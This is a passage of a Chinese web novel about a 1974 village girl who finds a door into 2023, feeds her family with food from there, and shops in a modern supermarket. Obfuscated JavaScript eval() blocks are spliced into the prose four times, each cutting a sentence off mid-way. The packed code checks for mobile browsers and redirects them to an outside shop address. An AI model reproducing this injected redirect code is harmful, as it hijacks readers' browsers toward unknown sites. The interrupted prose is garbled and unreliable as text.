“还有，那里做买卖不会被抓，好吃的特别特别多，一条街上全是卖各种好吃的，买东西也不要票，就是贵，两三片土豆片卖一块钱，吓死个人。” 赵卫国吃惊：“小芸，你是说那个地方能做生意？买东西还不要票？这……这咋可能。” 这些事情简直是匪夷所思！ 还有，两三片土豆片卖一块钱，那土豆是金子做的不成？ 赵小芸难掩激动道：“爸，是真的！要不是我真的带回来了肉米饭和奶茶，我肯定不敢相信，以为自己在做梦。 “对了，奶茶就是搪瓷缸里的甜糖水，其实那个不叫糖水，叫奶茶，里面加了奶和糖，还有茶叶，非常好喝。” 赵卫国手里编席子的活儿都停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283921|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下来：“小芸，你再多说说那个世界的神奇事儿。” “那个世界还有红绿灯，红绿灯就是……”赵小芸说得起劲儿，赵卫国听得认真。 其实没多少东西，但赵小芸就是说了很长时间，有些都说了不止一遍。 赵卫国也听不腻，只嫌闺女说的少。 赵小芸说得口渴，去倒水喝。 刚喝完水出来，就见陈翠芳回来了。 “妈！”赵小芸高兴地跑过去，“妈你回来了，快坐着歇会儿，我给你盛饭。” 陈翠芳去赵卫国身边，坐在赵小芸搬过来的小凳子上。 赵小芸去灶房盛了一碗玉米面青菜汤，出来端给陈翠芳：“妈，你先喝点儿汤垫垫肚子，我做好吃的给你吃。爸，你先跟妈保密，我要给妈一个大大的惊喜。” 赵卫国看了一眼自个儿媳妇，手里继续编席子的活儿，嘴角含笑点头：“好，都听闺女的。” 陈翠芳一脸莫名，看看闺女，再看看赵卫国：“你们父女俩跟我打什么哑谜呢？” 赵小芸嘿嘿一笑，跑去做一家人的午饭。 反正这会儿也快到中午了，她下午还要去上班，索性就早点儿做中午饭。 赵小芸去后院摘了一把辣椒，一个茄子，一把菜豆，几根丝瓜，还有俩番茄。 炒茄子的时候，赵小芸奢侈了一把，多放了两小勺油。 她昨天已经拿到了一百块钱的工资，中午吃过午饭，她要早点儿去门那边，买点儿油和调料，还有粮食。 只要她在门那边努力工作赚钱，就能给家里买很多吃的。 以后她要天天吃饱饭，让爸妈和弟弟妹妹们，都吃饱饭，吃的身体长高长壮，再也不怕生病。 赵小芸手脚麻利，加上灶火火大，做饭快，没多久就把饭做好了。 今天午饭非常丰盛，有西红柿烩茄子、辣椒炒菜豆、炒丝瓜、番茄汤，还烙了十几张玉米面饼子。 昨天晚上带回来的黄焖鸡和米饭下锅热了热，赵小芸没往黄焖鸡里加其他菜，她想尝尝门那边世界里地地道道的美食。 “爸妈玲玲小宇他们，肯定也都想尝尝。”赵小芸凑近闻闻刚热好的黄焖鸡，吸溜口水，“真香！” 赵小芸从灶房里探出头：“爸，妈吃饭了！玲玲和小宇还没回来吗？他们去哪块地里了？我去叫他们回来。” 赵卫国想了下，说：“村东头挨着破石桥那边的地。” “那没多远，我现在就去叫他们回来，爸妈你们不用等，先吃着，菜热着才好吃。” 赵小芸进出灶房跑了好几趟，才把饭菜还有汤都端出来，在堂屋摆了一桌子。 陈翠芳吃惊：“咋做这么多菜？哎哟！还有肉？哪儿来的肉？这是啥肉啊，闻着可真香。” 陈翠芳盯着浓油酱赤的黄焖鸡仔细看了又看：“瞅着像是鸡肉……乖乖哟，这里放了多少油啊！” 赵小芸笑呵呵道：“妈，这个叫黄焖鸡，就是鸡肉，你快先尝尝好吃不好吃？至于从哪儿来的，等吃完饭我再详细跟您说。” 要不是要避开玲玲和小宇，她在饭桌上就能说给妈听。 哎！还得吃完饭避开玲玲小宇才能说，真是憋死她了。 8. 生日鸡蛋 陈翠芳手里被赵小芸塞进来一双筷子，乐道：“我瞅着这鸡肉的颜色，应该加的有酱油，闻着这么香，肯定还放了其他调料，再加上放了这么多油，哪儿能不好吃？” 陈翠芳夹了一块小的鸡肉，放嘴里嚼了嚼，顿时眼睛都亮了起来：“这鸡肉炖的可真软烂！好吃，真好吃！小芸，你快跟妈说说，这肉到底是哪儿来的？哪个大厨做的？” “我工作的店长送……哎呀妈你先别问，我等会儿再说。爸，你跟妈先吃着，我去叫玲玲和小宇回来。”赵小芸夹了一块鸡肉塞嘴里，舌尖触到麻辣鲜香的滋味，口水不受控制地分泌出来，她吸溜着口水跑出去，去叫弟弟妹妹回来吃饭。 留下陈翠芳一头雾水：“工作？小芸说的这是啥意思？” 眼瞅着闺女跑远，陈翠芳抓心挠肝的好奇，拿眼瞥赵卫国：“赵卫国同志，坦白从宽抗拒从严，快说你和闺女在打什么哑谜呢？” 她突然想到什么，一把抓住赵卫国的胳膊，满脸惊喜地说道：“难道是你的工作组织上落实下来了？你让给咱闺女去干了？” 赵卫国腿伤还没好利索，如果继续劳累干重活，会留下不可治愈的后遗症。 赵卫国摇头：“不是，我工作还没落实，不过咱闺女这事儿吧，是比我工作落实了更大的喜事儿……你就先别问了，咱闺女要亲口告诉你，给你惊喜，我总不能让咱闺女给你的惊喜落空，让她失望啊！” “行吧行吧！我等着闺女和我说。”陈翠芳瞥向黄焖鸡，嘴里的一小块鸡肉早就吃完了，肉里夹着的脆骨也被她嚼碎吃掉。 这肉真的太香了，让她忍不住嘴馋，还想再吃一块。 不过虽说闺女让他们俩先吃，但当爸妈的，总想把好东西留给孩子。 陈翠芳努力忍住，只去夹了茄子吃，还配了一口白米饭。 “米饭也香，不知道是啥大米，瞧着咋这么白呢？”比供销社里的大米白多了，还干净，没有丁点儿杂质。 …… 赵小芸刚跑到半路，就见一群人从地里回来，玲玲和小宇也在。 “姐！”两个小家伙眼尖，先一步看见赵小芸，笑着撒欢地跑过来。 赵小芸给两人擦擦脸上的土：“姐来接你们回家吃饭，今天家里吃好吃的。” 赵晨宇和赵晨玲早都饿得肚子呱呱叫。 赵晨玲牵着赵小芸的手，眼睛亮亮的：“姐，啥好吃的？” “回去就知道了。”赵小芸拉住另一边的弟弟，拖着俩小的，“快跑！回家吃饭！” 路上留下一串欢声笑语。 后面的村里人看着姐弟妹三人笑起来：“小芸这姑娘今年都十七八了吧？瞅着还像个孩子。” “都该说亲了，还这么不稳重，都是陈翠芳和赵卫国俩人惯的，小心嫁不出去。” “我们家卫国有本事，能赚钱赚票，疼闺女，就喜欢惯着闺女，碍你屁事！”说话的是赵卫国的一个堂兄弟，听那人说话带着恶意，直接开口呛他。 这人冷嘲嗤笑一声：“有本事？那是以前，看看赵卫国他家现在啥情况，往后等着饿肚子吧！他是有本事，不怕饿死就继续宠他的宝贝闺女呗！” 赵卫国的堂兄弟脸黑的像锅底，狠狠瞪着对方。 赵小芸不知道后面的议论，牵着弟弟妹妹跑回家，让两人洗干净手和脸，进屋吃饭。 刚进堂屋，双胞胎兄妹俩对上一桌子饭菜，瞪大眼睛哇地发出惊呼。 “这么多！”赵晨玲跑到桌子跟前，“肉！还有肉！爸妈，姐！今天啥日子，为啥做这么多好吃的？” 赵小芸走到饭桌前坐下：“今天庆祝我出院……好了，别傻站了，快坐下吃饭。” 黄焖鸡和米饭都分好，剩下的菜和玉米面饼子一家人随便吃。 赵小芸吃着鸡肉，肉质软烂，嘴巴轻轻一嗦，骨头就掉了。 再用汤汁拌米饭，一口下去，整个人满足幸福得冒泡，像是吃到了满汉全席珍馐国宴。 赵小芸用手指轻轻敲敲放在桌上的搪瓷缸，发出清脆的叮叮声：“吃完饭还有奶茶喝，这个可甜可好喝了。” “姐，奶茶是什么？”赵晨玲扭头问，随着动作两根辫子甩了甩，眼睛又圆又亮，她只知道加了糖的糖水是甜的。 赵晨宇也眼巴巴地看向赵小芸，他是小圆脸，虽说营养不够，脸上的肉少，但还是勉强能看见点儿婴儿肥，这么眼巴巴地看人，显得格外乖巧可爱。 “奶茶就是加了牛奶、糖，还有茶叶的饮料。”赵小芸解释完，两个小家伙更加期待了。 吃完饭，赵小芸给期待已久的每个人都倒了一些奶茶。 赵晨宇和赵晨玲每次喝都用嘴唇轻轻抿一点儿。 “姐，奶茶真甜，比糖水还好喝。”这么好喝的饮料，她可不舍得一口喝完。 就是陈翠芳和赵卫国，也一小口一小口地抿着喝。 赵小芸倒是比几人都喝得“豪放”，店长说了，每天免费送两杯奶茶呢！ 搪瓷缸里，赵小芸还剩了一点儿奶茶：“剩的这些奶茶我等会儿送给夏生哥，早上夏生哥给爸你送了那么多竹篾子，奶茶算是谢礼。” 赵卫国点头：“去吧！” “不急，我把锅碗刷了再去。”赵小芸收拾碗筷，爸妈也要帮忙，被她挡了回去，“你们喝奶茶吧！” 赵晨宇和赵晨玲放下只剩一小口的奶茶，来帮姐姐刷锅洗碗，赵小芸没拒绝。 端着碗筷刚从屋里出来，隔壁就传来方夏生的声音：“小芸，你过来一下！” 赵小芸停下脚步，扭头看过去：“啥事？你说。” 方夏生只是笑，一只手藏在背后，另一只手冲着赵小芸招呼：“你先过来。” 赵小芸翻了个白眼，走去把碗筷放到水缸旁，转身朝方夏生走过来：“神秘兮兮的，到底啥事不能说，非得我过来。” 赵小芸站到方夏生面前，两人中间隔着一道篱笆墙：“现在能说了吧，到底啥事？” 方夏生又说：“伸手。” 赵小芸伸出右手，眼睛盯着他。 方夏生藏在背后的左手拿出来，握着拳头放在赵小芸的掌心上，五指松开，手里的东西掉下去。 “鸡蛋？”鸡蛋还带着些许温热，赵小芸诧异地瞄方夏生。 “嘿嘿，送你的，吃吧！”方夏生挠挠头，今天是他生日来着。 赵小芸握住鸡蛋，反手要还给方夏生：“我不要。” 鸡蛋是稀罕的营养品，她不能平白吃方夏生的鸡蛋。 方夏生连连退后好几步：“你不是磕伤头了吗？脑袋上的伤得重视，鸡蛋给你补补营养，以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283922|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后等你有了再还我就是。” 赵小芸迟疑了下，自己现在有工作，能赚钱，在门那边的世界可以买很多东西。 反正不要票，别说鸡蛋了，肉都能随便买。 现在自己吃方夏生一个鸡蛋也没什么，她肯定能还上。 赵小芸直接把鸡蛋磕破，剥了壳几口把一个白水煮蛋吃光。 她很喜欢吃鸡蛋，尤其是蛋清，软软嫩嫩的。 赵小芸吃得很满足。 方夏生见她吃完了鸡蛋，转身要回。 “夏生哥，你等一下。”赵小芸去端奶茶。 方夏生疑惑地嗯道，站在原地等她。 很快，赵小芸端着搪瓷缸里剩下的奶茶过来：“夏生哥，这个送你喝……只剩一点儿了，你直接喝，喝完我回去把搪瓷缸刷刷就行。” 方夏生接过搪瓷缸，端起来仰头一口饮尽。 “这是……”方夏生震惊、疑惑、诧异地看看茶缸底和壁上残留的液体，再看看赵小芸。 赵小芸笑道：“夏生哥，好喝吧，甜不甜？” “……甜。”方夏生迟疑了一瞬才回应，又问道，“小芸，这个是什么？” “奶茶。”赵小芸见方夏生的反应有点儿怪怪的，不像她和自家人，第一次喝到奶茶那么震惊惊艳。 方夏生的反应就像是……好像以前喝过一样。 赵小芸迟疑：“夏生哥，难道你以前喝过奶茶？” 不应该啊！奶茶是门那边世界的饮料，他们这里，应该没有吧？ 方夏生急忙摇头：“没有，我怎么可能喝过！” 赵小芸觉得也是，夏生哥怎么可能喝过奶茶呢？她也没多想，拿回搪瓷缸，回去继续刷锅刷碗。 搪瓷缸里还沾着一点点奶茶，倒不出来，赵小芸倒进去一些热水，涮干净后自个儿喝了。 虽说接下来工作的每天都能免费送两杯奶茶，但节省惯了的人，是见不得浪费丁点儿的。 赵小芸在水缸边舀水刷干净锅碗，脏水泼到菜地里浇菜，甩着手上的水，指挥赵晨宇和赵晨玲俩：“碗筷拿回灶房放好。” 双胞胎兄妹俩听指挥去放碗筷，赵小芸起身回屋里去。 赵卫国抬头看着跨进屋里的赵小芸，问道“刚才夏生叫你干啥？” 赵小芸也没隐瞒：“给了我一个鸡蛋吃。” 赵卫国莫名：“鸡蛋？怎么突然给你吃鸡蛋？” 陈翠芳想了想：“我记得今天是夏生的生日吧，鸡蛋应该是萍萍煮给夏生过生日的。” 萍萍是方夏生妈妈的名字，全名叫林萍萍。 赵小芸呆滞，那个鸡蛋竟然是生日鸡蛋！ 本来她觉得自己有奇遇，还一个鸡蛋而已，对她完全没压力，也就没多在意，夏生哥说让自己吃，自己就吃了。 可没想到今天竟然是夏生哥的生日！ 吃了萍婶儿特意煮给夏生哥的生日鸡蛋，赵小芸心里觉得不好意思，要不，我给夏生哥补个生日礼物？ 一会儿去门那边，看看给夏生哥买个什么生日礼物合适。 陈翠芳心里还惦记着赵小芸带回来的这些东西，心急的早都憋不住了：“小芸，鸡蛋等会儿再说，你先给妈说说到底发生了啥事，那些肉米饭还有奶茶，都是哪儿来的？这到底是啥情况？” 9. 竟然是未来世界 赵小芸看见弟弟妹妹放完碗筷从灶房里过来，说道：“妈，咱们去后院说。” 母女俩去后院，站在墙根下的阴凉地儿里。 赵小芸指着豆角架旁边：“妈，那里有一扇门，我只要打开那扇门，就能去另一个世界，那是一个特别热闹繁华、特别奇妙的世界。” 陈翠芳抬手摸摸赵小芸的额头：“闺女，你没发烧呀，咋说胡话呢？” 可别是磕破脑袋的后遗症？ 医生说过，伤到脑袋可能会引起预料不到的后果。 出院前，医生还特意叮嘱过她，要是有任何后遗症，必须立刻回医院复查。 赵小芸哭笑不得地扒拉下陈翠芳的手：“妈，我说真的，没说胡话，没和你开玩笑……妈你等我一下。” 赵小芸去把藏在柴火堆后的外卖袋子、餐盒和奶茶杯拿过来：“妈，你看，这是我从门那边的世界拿回来的东西，咱们这里可没这些东西吧？” 陈翠芳瞅着印着图画和字的外卖袋子，上手摸了摸，又扯了扯，材质说不出是布还是什么，反正她没见过这种布。 “这个袋子好看，咱们这儿确实没这么花哨的袋子。”陈翠芳已经信了赵小芸说的，本来她也不觉得自家闺女会对自己说谎，刚才纯粹是担心她脑子出现了后遗症。 陈翠芳又看看刚才赵小芸指的豆角架旁边，疑惑：“奇了怪了，我咋看不见你说的门？我眼神儿挺好的啊！” “我爸也看不见……好像，只有我能看见那扇门。”赵小芸也觉得奇怪，为什么偏偏是她能看见那扇门？其他人都看不见。 陈翠芳没想那么多和复杂的，乐呵呵又自豪地说道：“这说明我家小芸是个有福气的人，这种好事儿，就只能落你头上。” 赵小芸给妈妈说了那个世界的高楼，漂亮明亮的各种灯，无数没见过没吃过的美食。 “妈，我昨天已经赚到一百块钱，工资是当日结的，昨晚上下班店长就把一百块给我了，我今天就去买些吃的用的。”赵小芸已经给爸说过一遍，但再给妈说，还是激动兴奋的不行。 赵小芸跑回屋里，把藏起来的一百块钱拿过来给陈翠芳看：“妈，这就是那个世界的钱，一张一百块！咱们这里最大面额的钱才只有拾元……不过那边的钱虽然大，但是东西也贵，两三片土豆片或者两片茄子，竟然都卖一块钱！” 赵小芸算是对一块钱一串的蔬菜怨念上了，一提到就开始碎碎念。 陈翠芳拿着一张一百元看：“这钱可真精致，上面还有金线呢！” 看看百元纸钞，再看看外卖袋子、外卖塑料盒，还有奶茶杯，都是她从来没见过的好东西，陈翠芳都不知道该说什么好。 赵小芸也看着这些东西，感叹道：“袋子盒子杯子都很好用，可惜太扎眼了，不然留在家里用多好。” 陈翠芳也觉得是，心里可惜的不行。 赵小芸把一百块钱贴身放，从陈翠芳手里提过外卖袋，说道：“妈，我下午三点上班，趁着上班前还有时间，我去那边买点儿东西。” “行，赶紧去吧！看着点儿时间，别耽误了上班。”陈翠芳叮嘱道，“你头上的伤还没好利索，要是觉得累着了，就不干了，身体重要，千万别逞强。” “妈，我知道，你就放心吧！”赵小芸提着袋子走到门前，观察了下附近没人，缓缓推开眼前这扇神奇的门。 陈翠芳眼睁睁地看着赵小芸一眨眼就消失不见，虽然闺女已经给她说过，但是亲眼看见，还是让她惊讶的不行。 …… 赵小芸觉得这次穿越门，身上的不适更加轻了。 她没有立刻跨出门，而是先回头看了一眼，记得第一次过来时，隐约看见这间堂屋的墙上挂着一个钟表。 她想看看现在几点了，不能上班迟到。 赵小芸找见了墙上的挂钟，但是表针已经不走了，估计是过了太长时间，坏了或者电池没有电了。 赵小芸正要收回视线，脖子突然一僵，堂屋柜子上摆放着的一张照片，里面的人物看着莫名眼熟。 她忍不住走过去，拿起相框，擦干净上面的浮灰，照片上的人物更加清晰。 “这是！”赵小芸死死盯着照片，不敢置信地瞪大眼睛。 照片上的人，分明就是自己！ 还有爸爸赵卫国，妹妹赵晨玲，弟弟赵晨宇。 爸爸赵卫国坐在中间，她站在爸右边，弟弟妹妹站在爸左边。 这张照片看上去像是一张全家福，但是赵小芸很奇怪：“为什么妈没有一起照上去？” 而且爸看起来特别苍老，满头的头发全白了。 自己的脸看着也很沧桑，眉头时刻紧皱着，就连一家人拍照片，都没有舒展开。 而且身体看着格外消瘦，一副羸弱不堪的模样。 还有弟弟妹妹，他们都长大了，可是和小时候也差太多了！ 赵晨宇多么乖巧腼腆的娃，照片里瞧着却是一张阴沉脸，那眼神看着就觉得让人不舒服。 活泼可爱的赵晨玲，照片里的，却浑身散发着盖都盖不住的戾气，整个人肉眼可见地暴躁。 赵小芸盯着照片恍惚了好一会儿，怎么也想不明白这是怎么回事，为什么自己和家里人都变化那么大？ “妈为什么没有在照片里？”这一点是最让赵小芸在意的，甚至凭空让她生出一股不安害怕，怎么也压不下去。 赵小芸眼神飘忽，透过柜子的透明玻璃门，瞥见一本日历。 上面的花体字2000，和“龙年大吉”的字样，让她心脏一震。 赵小芸连忙拉开玻璃门，把日历拿出来。 日历上盖了一层厚厚的灰尘，也不知道放在这里多久了。 赵小芸拍拍日历，灰尘飘飞，不小心被她吸进鼻子里，捂着口鼻呛咳起来。 用手扇开空气里飘荡的灰尘，赵小芸翻开日历。 这本日历的纸很硬，上面的图画颜色十分鲜艳，制作格外精美，赵小芸从来没见过这种模样、这么漂亮的日历。 赵小芸机械地翻过一页又一页日历，精神恍惚了许久。 脑海里一个不可思议的想法，不受控制地浮出来。 ——有没有可能，这里是未来的世界？ 从一九七四年，到2000年，相距二十六年。 日历明显在这里放了许久，所以，现在至少是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283923|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二十六年后的未来。 赵小芸又看向照片，再看看这栋房子。 堂屋正对门的墙上，挂着一幅山水画，下面靠墙放着一张深褐色的窄长柜子。 右手边靠墙放着几张沙发，沙发前是一张大理石茶几，对面是一台电视机。 电视机用白色的蕾丝布盖了一半，旁边放着一瓶仿真塑料花。 堂屋左右两边连着卧室，赵小芸没有贸然进去。 赵小芸捏着照片的手微微用力，所以，这里很有可能是未来的自己家？ 这栋房子在她看来非常好，为什么没人住？ 是搬家了吗？ 赵小芸心中十分不安，全家福照片里没有妈妈，玲玲和小宇看上去也变化很大，难道自己家出了什么变故吗？ 假如，自己没有发现这道能穿越时间的门，自己磕破脑袋重伤，住院花光家里的钱。 自己家被分出来，家里粮食不够吃，妈怀孕营养不够，爸肯定会拖着腿伤勉强自己去干活儿。 腿伤养不好，肯定会留下残疾。 如果这时家里再遭遇什么不好的变故，让家里雪上加霜…… 赵小芸不敢再想家人会有多惨。 一想到家人未来可能出事，她捏着相框的手就控制不住地颤抖。 “赵小芸！冷静下来！” 现在所有不好的事情都还没有发生，而且自己发现了这道能穿越未来的门，一切已经发生改变，以后自己一定能让家里的日子越过越好，绝对不会让家人出事！ 未来一定能改变！ 赵小芸终于稍微平静下来：“不过，这个世界的家人……” 她赶紧用力甩了甩头，想再多担心再多也没用，她现在没本事没能力帮助未来世界的家人。 不过…… 赵小芸面上露出几分期待，如果自己改变了家人的命运，那现在这个未来世界家人的命运也会随之改变吗？ 现在她给不出答案，不过无论如何，她都会拼尽全力让家人过上好日子，改变家人的命运。 赵小芸放下照片，从堂屋里出去，出大门的方式和昨天一样，拔地栓从门缝里挤出来。 回头看着大门上生锈的铁锁，既然知道了这是自己家，她可以买一把新锁换上去，省得每次进出还得挤门缝。 白天光线好，赵小芸看清了这条巷子，昨天晚上摸出地面都是用转头铺的，现在才看清，是用很漂亮的青砖铺的。 赵小芸轻车熟路地穿过巷子，来到尽头，顺着昨天的路线，来到美食街的十字路口。 绿灯通行，小轿车、小货车，还有三轮车、电动车呼啸奔驰，行人走在人行道上，穿流而过。 赵小芸的视线不由自主地落在那些电动三轮车和两轮电动车上，羡慕道：“未来的车真好，都不用脚蹬。” 望着远方的高楼大厦，赵小芸心中生出无限感慨，祖国发展的真快，短短几十年，就已经大变样，完全看不出这里是自己的祖国。 赵小芸不知道买粮食和用品该去哪里，在路口踟蹰，看见一个面善的行人，连忙跑过去：“大姐你好，不好意思打扰您一下，您知道哪里能买粮食和食用油吗？” 10. 超市购物 大姐反应了下，才说道：“你说的是自家吃的米面粮油吧？顺着这条路一直走，走到东直路，右拐进入东直路，再走十几米就有一家兴旺超市。” “大姐，东直路是哪条路？”赵小芸不好意思地问道。 大姐指着路边的路牌说道：“喏，瞧见那个路牌没？每条路口都有路牌，你看路牌就能找到。” “谢谢大姐！” “不客气不客气。” 赵小芸顺着大姐指的路走，心想，这里的兴旺超市，就类似自己那边的供销社吧？ 每走到一个路口，赵小芸就找路牌看，过了两个路口终于看见了写着“东直路”的路牌，右拐进去，立马就找见了兴旺超市。 赵小芸站在路边，登时就愣住了。 “哇！”赵小芸仰头呆滞地看着至少四五层的大楼，嘴里发出傻兮兮的惊叹，惹得路过的人用怪异的眼神看她。 赵小芸没意识到别人在看自己，注意力全在眼前的大楼上，这个兴旺超市完全超出了她的想象。 或者说，没看到之前，她脑海里下意识想象的是供销社那样的。 虽然知道这个世界繁华到不可思议，但是十几年的思维一时转变不过来。 “这比省城.的百货大楼都大！” 赵小芸看着其他进入超市的人，跟在他们后面进去。 刚进入超市里，赵小芸就被.干净光滑能照出人影的地板吓了一跳，脚都不敢落地。 超市里十分亮堂，赵小芸看见各式各样亮着的灯，不敢相信：“白天也开灯？”这不是浪费电吗？ “小姑娘，麻烦让让啊。” 身后传来说话声，赵小芸猛然从呆愣中回神，这才反应过来，自己站在门口挡住别人了。 “对不起对不起！”赵小芸连忙让到一边，看着别人随意从容地走进超市，自己也鼓了鼓勇气，抬脚踩上像镜面的地板。 超市一楼是卖黄金、首饰之类的奢侈品，赵小芸不知道超市里的布局，转了一圈转的眼晕，也没找到卖米面粮油的地方，还把自己整迷路了。 赵小芸想找人问问，但一楼客人少，这边只有柜台后的销售员。 看着销售员，赵小芸想到了国营饭店的营业员，特别凶，所以对着这些公务员不由得就心生胆怯。 下午三点还要上班，不能耽搁了，赵小芸硬着头皮上，把自己的脸笑开了花问道：“姐，请问卖米面粮油的地方在哪儿？” 销售员甜甜一笑：“生活区在负一楼，你朝那边走，乘坐下负一楼的电梯就到了。” 赵小芸被销售员甜美的笑容笑的心里猛地一甜，好像吃了一把糖似的。 完全没料到对方的态度竟然这么好，赵小芸吊着的一颗心瞬间放回肚子里：“谢谢姐！” 顺着销售员指的方向走过去，中间还问了一个人，很快找到了通往生活区的电梯。 赵小芸呆滞地看着朝下走的电梯，这才明白销售员姐姐说的负一楼是什么意思，原来卖米面粮油的位置竟然在地下！ 这是把地下挖空了？ “为啥要在地下建房子？”赵小芸不明白。 关于地下的“建筑”，她就只知道地道和地下防空洞。 电梯赵小芸也没见过，看着别人怎么乘坐电梯的，她连忙跟着学。 站在电梯上，扶着扶手，电梯自动往下走，赵小芸心里惊呼不断，这也太神奇了吧！ 到了负一楼，赵小芸一眼就看到写着“超市入口”的指示牌。 入口处被两块板子挡着，赵小芸正为难怎么进去，就见前面的人拉了一辆小车，推着直接走过去。 刚靠近入口前，挡板自动往两边打开，同时一个好听的女音不知从哪里传来，说着“欢迎光临”，等那人通过后，挡板又自动合上。 怎么打开的？ 赵小芸使劲儿揉揉眼睛，自己刚才没看漏啥东西啊！ 带着一头雾水，赵小芸看向摆着两排小车的位置，上面悬挂的牌子写着“购物车”三个字。 赵小芸也学着之前那人，过去拉了一辆购物车，推着往超市入口处走去。 靠近入口时心里紧张不易，待看到挡板自动打开，赶紧加快脚步过去，顺利通过后，心里松了一口气。 赵小芸回头看又重新自动合上的挡板，喃喃道：“真神奇，它咋知道有人要通过？还能自己打开，自己合上，跟长了眼睛似的。” 左看右看，也没看见挡板哪里长了眼睛，赵小芸也没多纠结，推着购物车往超市里面走。 超大空间的地下超市里，整整齐齐摆满货架的各种商品展现在眼前，赵小芸震撼在原地。 入口附近，一箱箱纯牛奶摞起来，砌成四四方方的高大城楼模样，瞧着无比壮观。 牛奶外箱上面贴了几张颜色亮眼的明黄色纸牌，上面写着“惊爆促销价49.9元一箱”。 赵小芸倒抽一口气：“好多牛奶啊！” 牛奶好啊！牛奶有营养，听说小孩子喝牛奶长得又高又壮，不会生病。 而且妈怀孕正是需要营养的时候，喝牛奶肯定能把掉下去的肉长回来。 只是这价格…… 赵小芸迟疑起来，自己手里现在只有一百元，要是买一箱牛奶，一下子就能花去一半。 “未来这里的钱好挣，但不经花啊！”赵小芸小声嘟囔。 还是先买吃的粮食吧，先填饱肚子才是最重要的。 等再干两天工作，拿到更多工资再来买牛奶也不迟，不差这两天的。 赵小芸从牛奶箱“城楼”旁走过，看着前面一排排货架上琳琅满目的商品，脑袋开始发晕：“好多东西啊！” 粮食在哪儿呀？ 赵小芸从一排排货架中间穿过去走回来，根本没看见粮食的影子。 真没想到，自己竟然还有为东西太多犯愁的一天。 赵小芸绕了一大圈，终于找到了米面粮油区。 各种包装精致的大米堆满货架，赵小芸看着包装袋上写着的“长粒香米”、“珍珠米”、“生态胚芽米”等等，哭笑不得：“这些都是大米吧？大米咋还有这么多种？” 这些大米有啥子区别？ 除了袋装大米，还有散称大米。 一格格的货柜里，有普通大米，还有糯米、黑米、红米等等，除了米，还有红豆、绿豆、芸豆等豆类。 大米旁边紧挨着的就是卖面粉的。 面粉是纯精品小麦面粉，赵小芸觉得只吃白面太奢侈了，去找杂粮面。 谁知道找到后一看价格，比白面都贵！ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283924|151978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵小芸一脸呆滞，不敢置信地喃喃：“这里的人有毛病吧？” 谁家的纯小麦白面粉，比粗粮面粉卖的还贵？ 能吃白面，谁会傻了吧唧去吃粗粮啊！ 赵小芸摇摇头，去挑了一袋价格最便宜的十斤装面粉，装进购物车里后，推着车回到卖大米区域，准备称一些散称大米。 赵小芸正在挑最便宜的散装大米，卖大米区里突然多了一位穿着蓝色工作服的阿姨，导购阿姨走过来，笑得和蔼可亲，热情地和赵小芸说话：“小姑娘，买大米呀？过来这边瞅瞅，超市新进货的一批大米，正在搞促销活动，价格可划算了。” 赵小芸一听价格划算，眼睛都更亮了：“在哪里？” “这边这边。” 赵小芸跟着阿姨过去，铁框网仓储笼子里装了满满一笼大米，大红色的包装袋看着格外喜庆。 阿姨熟练地开始介绍：“这是正宗东北大米，营养价值高，吃着口感也好，原价要四十多块钱一袋呢，现在促销价只要二十五块九，都是今年最新的生产日期，拿一袋回家尝尝吧！” 赵小芸心里突然一动：“今年最新……的生产日期？” “那当然！”阿姨找到袋子上的生产日期给赵小芸看，“瞅瞅，都是今年的新日期。” 赵小芸迅速凑上去看，只见上面写着2023年2月10日。 原来现在是2023年！ 赵小芸终于确定了未来世界的具体年份。 2023年，与1974年相距四十九年，爸妈很可能已经不在人世…… 赵小芸赶紧止住这个念头，注意力重新回到大米上。 一袋大米是十斤，合计两块五毛九一斤，散称大米最便宜的也差不多这个价，这种还有包装，拿着更方便……想到这里，赵小芸当即决定买一袋。 阿姨抱了一袋大米帮忙放进赵小芸的购物车里：“姑娘，要食用油不？有一款食用油也正在搞特价，来一桶？” 食用油当然也要买，赵小芸说：“大姐，我先看看吧！” 